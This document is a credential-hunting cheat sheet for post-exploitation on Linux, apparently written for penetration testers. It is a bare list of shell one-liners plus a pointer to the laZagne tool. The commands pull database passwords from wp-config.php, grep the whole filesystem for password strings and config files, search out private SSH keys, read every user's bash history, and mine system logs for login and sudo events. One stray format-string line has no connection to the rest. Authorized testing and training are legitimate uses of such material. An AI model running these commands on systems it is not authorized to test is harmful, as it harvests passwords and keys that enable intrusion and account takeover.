credential-hunting

Automatic cred enum

laZagne.py

Get mysql database credentials

cat $(find / -name wp-config.php 2>/dev/null) | grep 'DB_USER\|DB_PASSWORD'

Get config files

find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

Get ssh keys

ls ~/.ssh

Config file hunting

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

Credentials in config file

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

Interesting strings inside file

grep --color=auto -rnw '/' -iIe "PASSW\|PASSWD\|PASSWORD\|PWD\|db_user\|db_pass" --color=always 2>/dev/null

%s:%*phN\012

Database file

for l in $(echo ".sqlite .sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

Note files

find /home/* -type f -name "*.txt" -o ! -name "*.*"

Hunt scripts files

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

Hunt private SSH keys

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

Bash history

tail -n5 /home/*/.bash*

Log files

for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done